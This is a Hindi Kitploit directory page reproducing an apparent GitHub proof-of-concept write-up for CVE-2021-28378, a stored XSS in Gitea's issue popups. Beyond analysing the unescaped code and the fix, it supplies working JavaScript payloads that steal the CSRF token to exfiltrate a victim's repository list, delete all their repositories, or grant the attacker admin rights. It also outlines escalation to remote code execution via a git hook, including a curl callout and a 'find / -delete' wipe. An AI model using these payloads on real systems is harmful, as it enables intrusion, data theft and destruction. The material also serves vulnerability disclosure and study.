Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-28378 — CVE-2021-28378 का विस्तृत प्रूफ-ऑफ-कॉन्सेप्ट और विश्लेषण, Gitea में एक संग्रहीत XSS भेद्यता जो git हुक के माध्यम से मनमाना कोड इंजेक्शन, विशेषाधिकार वृद्धि और दूरस्थ कोड निष्पादन को सक्षम बनाती है। | Kitploit
उपकरण/GitHubGitHub/pandatix/cve-2021-28378
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubpandatix/cve-2021-28378

CVE-2021-28378

CVE-2021-28378 का विस्तृत प्रूफ-ऑफ-कॉन्सेप्ट और विश्लेषण, Gitea में एक संग्रहीत XSS भेद्यता जो git हुक के माध्यम से मनमाना कोड इंजेक्शन, विशेषाधिकार वृद्धि और दूरस्थ कोड निष्पादन को सक्षम बनाती है।

रिपॉजिटरी देखें
438 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-28378

इस CVE के बारे में विवरण यहाँ देखें।

यह CVE सर्वर से प्राप्त सामग्री पर क्लाइंट-साइड पर स्ट्रिंग एस्केपिंग की कमी को लक्षित करता है। यह एक हमलावर को किसी issue या pull request पर टिप्पणी बनाकर आसानी से मनमाना कोड इंजेक्ट करने में सक्षम बनाता है। यह कमिट 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 में पेश किया गया था, जनवरी 2020 के अंत तक, लेकिन squash के कारण हम ठीक से नहीं जान सकते कि इसे किसने किया ताकि समान बगों की जांच की जा सके।

सबसे पहले, आइए समझें कि यह कमजोरी कहाँ से आती है। इसके लिए, आइए वह कमिट देखें जो इस CVE को ठीक करता है।

पहले:

  • पहला:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • दूसरा:
root@kitploit:~
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

हम देख सकते हैं कि label.name, issue.repository.full_name, और पर कोई html एस्केपिंग नहीं है, जो वे स्ट्रिंग्स हैं जिन्हें उपयोगकर्ता हेरफेर कर सकता है, और इसलिए, मनमाना कोड इंजेक्ट कर सकता है। ध्यान दें कि को वास्तव में कोड इंजेक्ट करने के लिए हेरफेर नहीं किया जा सकता क्योंकि इसे बहुत सारे नियमों का पालन करना होता है () जिन्हें हम इस CVE से बायपास नहीं कर सकते। PR ठीक यही ठीक करता है उन्हें में डालकर।

issue.title
body
issue.repository.full_name
[\w._-]+
htmlEscape

बाद में:

  • पहला:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • दूसरा:
root@kitploit:~
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

कमजोरी को समझना

आइए फ़ाइल web_src/js/features/contextpopup.js पर एक त्वरित नज़र डालें, ताकि पता लगाया जा सके कि CVE को कैसे ट्रिगर किया जाए।

root@kitploit:~
...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

यहाँ हम देखते हैं कि ref-issue क्लास वाले प्रत्येक नोड के लिए, हम एक असुरक्षित पॉपअप जोड़ेंगे। अब, हमें यह पता लगाने की आवश्यकता है कि ref-issue उपयोगकर्ता को कहाँ भेजा जाता है: आइए grep करें (और केवल दिलचस्प परिणाम रखें, यानी कोई परीक्षण फ़ाइलें या ऐसी ही नहीं)! निम्नलिखित कमिट संख्या 1.12.4 टैग से मेल खाती है, जो आधिकारिक docker-compose.yml फ़ाइल का डिफ़ॉल्ट संस्करण है, जो इस CVE से प्रभावित है।

root@kitploit:~
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

अब हम जानते हैं कि ref-issue क्लास के साथ कोई स्थिर सामग्री नहीं है, लेकिन यह गतिशील रूप से उत्पन्न होती है। अंतिम वाला दिलचस्प नहीं है क्योंकि यह केवल एक sanitizer नीति नियम है। बाकी दिलचस्प हैं, हम देखेंगे क्यों।

आइए modules/markup/html.go में गोता लगाएँ।

root@kitploit:~
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

हमें यह भी समझने की आवश्यकता होगी कि getIssueFullPattern क्या करता है।

root@kitploit:~
func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

आइए संक्षेप में समझें कि वहाँ क्या कार्य किया जाता है।

fullIssuePatternProcessor में, हमें पहले यह सुनिश्चित करना होगा कि ctx.metas शून्य नहीं है (हम मानते हैं कि यह सत्य है जबकि यह स्टैक ट्रेस में उच्च फ़ंक्शन/विधियों द्वारा बनाया गया है)। फिर हम जाँचते हैं कि नोड डेटा http://mygitea.com/gituser/myrepo/issues/1 जैसे पथ से मेल खाता है या नहीं। यदि मिलान होता है, तो हम इसे एक लिंक से बदल देते हैं। यदि लिंक उसी उपयोगकर्ता और रेपो के बारे में है, तो इसे #<issue_id> पैटर्न से बदलें, अन्यथा <user>/<repo>#<issue_id> से। इन दोनों मामलों में, हमारे पास एक ref-issue क्लास है जो पॉपअप उत्पन्न करने के लिए जोड़ा जाता है।

अन्य grep-परिणाम भी कुछ ऐसा ही करते हैं।

खेलने का समय!

अब हमारे पास संदर्भ है, जो http://mygitea.com/gituser/myrepo/issues/1 जैसे लिंक को एक छोटे लिंक से बदलने के बारे में है, हम अनुमान लगा सकते हैं कि ऐसा कार्य कहाँ किया जाता है: issues और PR में, जहाँ आप एक लेबल जोड़ सकते हैं और/या टिप्पणी पोस्ट कर सकते हैं।

इसके लिए, मान लें कि आपके पास लिखने की अनुमति वाला एक रिपॉजिटरी है।

लेबल

अपने रिपॉजिटरी पर जाएँ, और मनमाना कोड (जैसे <script>alert('label.name')</script>) वाले नाम के साथ एक नया लेबल बनाएँ।

Issue

अपने रिपॉजिटरी issues पर जाएँ, और शीर्षक और बॉडी में मनमाना कोड के साथ एक नया issue बनाएँ, और इसे पिछला लेबल जोड़ें।

चलो कुछ कोड निष्पादित करें

किसी भी रिपॉजिटरी पर एक नया issue बनाएँ, और उसकी बॉडी में अपने इंजेक्ट किए गए issue का लिंक जोड़ें जैसे http://mygitea.com/gituser/myrepo/issues/1। यह उस लिंक से बदल दिया जाएगा जो हमने पहले देखा था, और जब कोई अपने माउस को लिंक पर ले जाएगा, तो मनमाना कोड चलेगा: label.name एम्बेड करते हुए एक पॉपअप प्रदर्शित होगा।

एक्सप्लॉइट-टाइम

CVE-2021-28378 मनमाना कोड इंजेक्शन को सक्षम करने के लिए सिद्ध है। आइए कल्पना करें कि एक हमलावर क्या कर सकता है।

Gitea पर, आपके पास एक CSRF टोकन है जो फ़ॉर्म भरने और/या API को कॉल करते समय आपकी पहचान की पुष्टि करता है, जो Gitea iframe को एम्बेड करके आपकी पहुँच चुराने जैसी सुरक्षा समस्याओं को रोकता है। CSRF टोकन आपके कुकीज़ (_csrf) में संग्रहीत होता है, लेकिन लगभग सभी वेबपेजों (कुछ को छोड़कर जैसे /api/v1/swagger) में भी होता है जो उपयोगकर्ता कुछ फ़ील्ड्स के तहत विज़िट करता है... और इसी तरह issues/PR वेबपेजों पर भी। इसे समाहित करने वाला सबसे दिलचस्प फ़ील्ड HTML पेजों के सामान्य हेडर भाग के अंदर है, हमेशा एक ही XPath के साथ: /html/head/meta[9]।

इस डेटा के साथ, अब हम अपने पेलोड से प्रभावित किसी भी उपयोगकर्ता से प्रमाणित कार्य भेज सकते हैं, केवल CSRF टोकन को JS में प्राप्त करके, निम्नलिखित के साथ: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content।

अब, विभिन्न हमले बनाने के लिए अपनी रचनात्मकता का उपयोग करने का समय है। ध्यान दें कि आप अपने कार्यों में सीमित होंगे, लेकिन बहुत अधिक नहीं:

  • label.name और issue.title छोटे होने चाहिए, और इसलिए बहुत सारे पेलोड फिट नहीं होंगे। फिर भी, आप एक script को src विशेषता के साथ इंजेक्ट कर सकते हैं जो किसी भी स्क्रिप्ट का संदर्भ देगा;
  • body लंबाई में सीमित नहीं है, लेकिन पॉपअप का पूर्वावलोकन डेटा पूर्वावलोकन को सीमित करता है। यदि आप चाहते हैं कि यह ट्रिगर हो, तो आपके पेलोड को शुरुआत में होना होगा। फिर भी, आप पहले की तरह script और src विशेषता के साथ कर सकते हैं।

आइए कुछ उदाहरण देखें जो आप बना सकते हैं।

किसी उपयोगकर्ता के सभी रिपॉजिटरी प्राप्त करें

एक परिदृश्य की कल्पना करें जहाँ एक हमलावर उन सभी रिपॉजिटरी को प्राप्त करना चाहता है जिन तक आपकी पहुँच है। यह साबित करता है कि हमला आपकी सभी गोपनीयता को तोड़ सकता है। यह हमला 3 चरणों में पूरा होता है:

  • CSRF टोकन चुराएँ;
  • रिपॉजिटरी की सूची प्राप्त करें;
  • पिछले चरण की कच्ची JSON सामग्री के साथ एक नया टिकट बनाएँ।

आइए ऐसा करने के लिए कुछ JS कोड लिखें:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

इस पेलोड को अपनी फ़ाइल में रखें, इसे अपने रेपो पर अपलोड करें और इसे एक issue की बॉडी में इंजेक्ट करें जैसे <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>।

अब हमलावर इस इंजेक्ट किए गए issue का संदर्भ देते हुए एक issue/PR पर टिप्पणी कर सकता है, और जब कोई अपने माउस को लिंक पर ले जाएगा, तो हमलावर उसके सभी रिपॉजिटरी डेटा चुरा लेगा!

किसी उपयोगकर्ता की सभी सुलभ रिपॉजिटरी को हटाएँ

एक परिदृश्य की कल्पना करें जहाँ एक हमलावर उन सभी रिपॉजिटरी को हटाना चाहता है जिन तक आपकी पहुँच है। यह साबित करता है कि हमला आपकी सभी अखंडता को तोड़ सकता है। यह हमला 3 चरणों में पूरा होता है:

  • CSRF टोकन चुराएँ;
  • रिपॉजिटरी की सूची प्राप्त करें;
  • प्रत्येक रिपॉजिटरी के लिए, उसे हटाएँ (कम से कम प्रयास करें)।

आइए ऐसा करने के लिए कुछ JS कोड लिखें:

root@kitploit:~
var AppURL = "http://mygitea.com";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        data = xhrGet.response.data;
        data.forEach(repo => {
            var xhrPost = new XMLHttpRequest();
            xhrPost.open("POST", repo.html_url + "/settings", true);
            xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
        });
    }
}
xhrGet.send(null);

इस पेलोड को अपनी फ़ाइल में रखें, इसे अपने रेपो पर अपलोड करें और इसे एक issue की बॉडी में इंजेक्ट करें जैसे <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>।

अब हमलावर इस इंजेक्ट किए गए issue का संदर्भ देते हुए एक issue/PR पर टिप्पणी कर सकता है, और जब कोई अपने माउस को संदर्भ पर ले जाएगा, तो उसकी सभी सुलभ रिपॉजिटरी हटा दी जाएँगी!

व्यवस्थापक अधिकार प्राप्त करें

एक परिदृश्य की कल्पना करें जहाँ एक हमलावर व्यवस्थापक अधिकार प्राप्त करना चाहता है। यह साबित करता है कि Privilege Escalation संभव है। यह हमला 2 चरणों में पूरा होता है:

  • CSRF टोकन चुराएँ;
  • हमलावर को व्यवस्थापक अधिकार दें (कम से कम प्रयास करें)।

आइए ऐसा करने के लिए कुछ JS कोड लिखें:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");

ध्यान दें कि login_type का मान आपके Gitea संस्करण और आपके इंस्टेंस द्वारा लॉगिन को संभालने के तरीके के अनुसार बदल सकता है।

इस पेलोड को अपनी फ़ाइल में रखें, इसे अपने रेपो पर अपलोड करें और इसे एक issue की बॉडी में इंजेक्ट करें जैसे <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>।

अब हमलावर इस इंजेक्ट किए गए issue का संदर्भ देते हुए एक issue/PR पर टिप्पणी कर सकता है, और जब पर्याप्त अधिकार वाला कोई व्यक्ति अपने माउस को संदर्भ पर ले जाएगा, तो हमलावर को व्यवस्थापक अधिकार मिल जाएँगे! वह issue को किसी व्यवस्थापक को असाइन भी कर सकता है, या किसी ऐसे रेपो पर issue बना सकता है जिसे कोई व्यवस्थापक देख रहा है (ताकि उसे सूचना मिले) ताकि उसकी संभावनाएँ बढ़ सकें।

RCE प्राप्त करें

Gitea के साथ """मज़ेदार""" हिस्सा यह है कि सुरक्षा संबंधी विचार प्रक्रिया का हिस्सा नहीं थे, git हुक लागू करके। यह शायद सबसे बुरे विचारों में से एक है जिसे आप लागू कर सकते हैं।

एक बार जब आपके पास व्यवस्थापक अधिकार हो जाते हैं, तो आप git हुक प्रबंधित करने का विशेषाधिकार दे सकते हैं (जो पिछले पेलोड के साथ प्राप्त होता है)। Gitea Git Hooks Remote Code Execution Metasploit मॉड्यूल के अनुसार आगे बढ़ें:

  • अपने bash पेलोड को post-receive git-hook में जोड़ें;
  • कुछ कमिट और पुश करें, भले ही वह खाली हो;
  • पेलोड के प्रभाव की जाँच करें।

यह सुनिश्चित करने के लिए कि यह RCE मान्य है, आइए निम्नलिखित डालें, एक मान्य id के साथ।

root@kitploit:~
#!/bin/bash

curl https://requestbin.net/r/<id>

RequestBin निरीक्षण पैनल में, एक फ़ाइल सबमिट करने के बाद जो post-receive git हुक को ट्रिगर करती है, हम देखते हैं कि एक अनुरोध User-Agent: curl/<version> के साथ प्राप्त हुआ था जो साबित करता है कि यह एक मान्य RCE है।

ध्यान दें कि यह कार्यक्षमता दर्शाती है कि प्रत्येक XSS के लिए जो किसी व्यवस्थापक द्वारा ट्रिगर किया जा सकता है, जब तक कि _csrf मान लगभग सभी वेबपेजों में एम्बेडेड होगा, आप Gitea पर RCE प्राप्त कर सकते हैं।

कैसे रोकें

CVE से प्रभावित संस्करणों के अनुसार अपने अपडेट करें (आधिकारिक रिपोर्ट देखें)। लिखने के समय: 1.12.0 से 1.13.4 (बहिष्कृत)।

नोट्स

यहाँ प्रभावित संस्करणों और उनकी परीक्षण स्थिति की सूची है। ध्यान दें कि 1.13.X संस्करणों के लिए, आपको app.ini फ़ाइल में [security] अनुभाग के अंतर्गत DISABLE_GIT_HOOKS = false जोड़ना होगा, जो data/gitea/conf/app.ini पर स्थित हो सकता है, यह इस बात पर निर्भर करता है कि आपका डेटा फ़ोल्डर कहाँ है (दस्तावेज़ित docker-compose.yml फ़ाइल के लिए DockerHub पर, यह उसी फ़ोल्डर में होगा)।

संस्करणXSSRCE
1.12.0✅✅
1.12.1✅✅
1.12.2✅✅
1.12.3✅✅
1.12.4✅✅
1.12.5✅✅
1.12.6✅✅
1.13.0✅✅
1.13.1✅✅
1.13.2✅✅
1.13.3✅✅

✅: काम करता साबित ; ❓: परीक्षण की आवश्यकता ; ❌: काम नहीं करता साबित

यह शीट पाठक को स्कोर गणना में मार्गदर्शन करने के लिए बनाई गई है: यह केवल स्कोरिंग के बारे में चर्चा करने के लिए है, और इसे आदेश के रूप में नहीं लिया जाना चाहिए।

मीट्रिकमानस्पष्टीकरण
AVनेटवर्कHTTP का उपयोग करके इंटरैक्ट करता है।
ACनिम्नकेवल एक issue (डिफ़ॉल्ट रूप से Gitea पर इसे फ़ाइल करना वास्तव में आसान है क्योंकि यह सभी के लिए सक्षम है) या एक pull request की आवश्यकता है।
PRनिम्नअधिकांश संदर्भों में issue बनाने के लिए एक खाते की आवश्यकता होती है (डिफ़ॉल्ट रूप से, आप नए खाते पंजीकृत कर सकते हैं)। सभी खाते केवल-पढ़ने योग्य रिपॉजिटरी पर issue बना सकते हैं, सिवाय उस स्थिति के जब रेपो को issues से बचने के लिए कॉन्फ़िगर किया गया हो (जो डिफ़ॉल्ट सेटिंग नहीं है और शायद ही कभी संशोधित किया जाता है)।
UIआवश्यकएक उपयोगकर्ता या व्यवस्थापक को पेलोड को ट्रिगर करने के लिए अपने माउस को संक्रमित लिंक पर ले जाना होगा।
Sबदला हुआRCE के साथ, आपके पास होस्ट मशीन और इसलिए सह-स्थित सेवाओं तक पहुँच है।
Cउच्चएक बार जब आपको व्यवस्थापक अधिकार मिल जाते हैं, तो आप सब कुछ प्रबंधित कर सकते हैं भले ही इसे निजी कॉन्फ़िगर किया गया हो। आप डेटाबेस क्रेडेंशियल चुराने, RCE का उपयोग करके उससे कनेक्ट करने और डेटा निकालने में सक्षम हैं। RCE के साथ, आप सीधे फ़ाइल सिस्टम पढ़ सकते हैं, जहाँ Gitea द्वारा कोई प्रमाणीकरण/प्राधिकरण जाँच नहीं की जाती है।
Iउच्चएक बार जब आपको व्यवस्थापक अधिकार मिल जाते हैं, तो आप अधिकार, दृश्यता बदल सकते हैं, रिपॉजिटरी कोड बदल सकते हैं, यहाँ तक कि रिपॉजिटरी को हटा भी सकते हैं। RCE के साथ, आप हर चीज़ में गोता लगाने के लिए स्वतंत्र हैं और इसलिए उपयोगकर्ताओं, फ़ाइलों आदि की अखंडता को प्रभावित कर सकते हैं।
Aउच्चRCE को देखते हुए, आप find / -delete के साथ पूरे फ़ाइल सिस्टम को हटा सकते हैं, जिससे उपलब्धता का पूर्ण नुकसान होता है।
Eउच्चपायथन स्क्रिप्ट exploit.py को देखते हुए, आप एक साधारण खाते से लेकर रूट रिवर्स शेल तक कमजोरी का आसानी से शोषण कर सकते हैं।
RLआधिकारिक फिक्सकमिट <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab> द्वारा ठीक किया गया, मास्टर और इसलिए Gitea 1.13.4 में मर्ज किया गया।
RCपुष्टियह रिपोर्ट कई एक्सप्लॉइट की पुष्टि और दिखाती है, XSS मूल विश्लेषण से लेकर RCE उदाहरण और स्क्रिप्ट तक।

वेक्टर स्ट्रिंग: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C

मीट्रिक समूह नामस्कोरविस्तार
आधार स्कोर9.0गंभीर
अस्थायी स्कोर8.6उच्च
टूल डाउनलोड करें